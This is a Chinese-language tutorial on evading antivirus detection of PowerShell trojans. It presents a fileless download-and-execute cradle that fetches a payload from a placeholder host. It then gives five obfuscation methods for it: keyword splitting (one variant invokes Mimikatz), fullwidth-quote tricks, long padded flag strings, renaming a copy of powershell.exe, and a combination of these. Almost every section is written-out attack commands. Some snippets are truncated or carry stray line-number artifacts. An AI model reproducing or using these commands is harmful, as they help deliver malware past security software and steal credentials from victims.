Powershell免杀思路

先介绍一下powershell木马最常用的方式，一般都为远程下载然后执行的方法，特点就是：直接内存运行，无文件落地。
例如：

```
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
```

通常使用过程中当调用powershell进行远程下载执行时，会被杀软进行拦截。那么针对Powershell的免杀有两个思路：

1. 对ps1文件进行免杀处理

2. 对Powershell的行为进行免杀处理

免杀方法

1. 使用关键字拆分进行bypass

在实战过程中，一些杀软是会对powershell命令当中的参数、函数进行一个检测，那么此时就可以对关键字进行拆分来进行绕过。
例如，拆分前的powershell命令为：

```
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”
```

假如杀软是对http这个关键字进行检测，那么我们可以对其进行如下拆分进行绕过，拆分后的powershell命令为：

```
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/a''));Invoke-Mimikatz';IEX ($a+$b)”
1
```

假如是对downloadstring这个函数进行检测，那么我们可以使用replace来进行替换函数拆分downloadstring进行一个绕过，拆分后的powershell命令如下：

```
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://x.x.x.x'')'.Rep
```

2. Fuzz思想进行bypass

可以利用Fuzz的思想进行bypass，例如可以使用中文字符里的单引号进行bypass
例如，利用单引号混淆前的powershell命令为：

```
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”
1
```

使用单引号混淆后的命令为：

```
powershell.exe "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://x.x.x.x/a’))”
1
```

3. 超长命令bypass

可以使用超长的命令来进行bypass。
例如，利用超长命令bypas前的powershell命令为：

```
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”
1
```

进行超长命令构造后的powershell命令为：

```
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal w Normal -w Normal -w Normal -w Normal -w Normal IEX ((new-object
net.webclient).downloadstring('http://x.x.x.x/a'))
1
```

4. 使用copy命令进行bypass

这里讲一个骚操作，一些杀软是检测powershell这个使用的动作，那么我们可以使用windows的copy命令，将powshell进行拷贝命名为其他的，例如，使用copy命令将powershell拷贝一个并命名为bypass.txt
命令：

```
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
1
```

那么后面就可以这样子来执行powershell来进行绕过杀软检测：

```
bypass.txt IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))
1
```

5. 混合bypass

就是将前面讲述的几种方法进行混合使用。
例如：

```
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w
Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -
value IEX; key(New-Object Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')
1
```

结尾

当然除了上述的几种方式可以进行bypass以外，还有其他的方法，例如可以将 powershell命令打包成exe程序进行绕过，可以使用C、Python、go等，其中查杀率：C > Python > go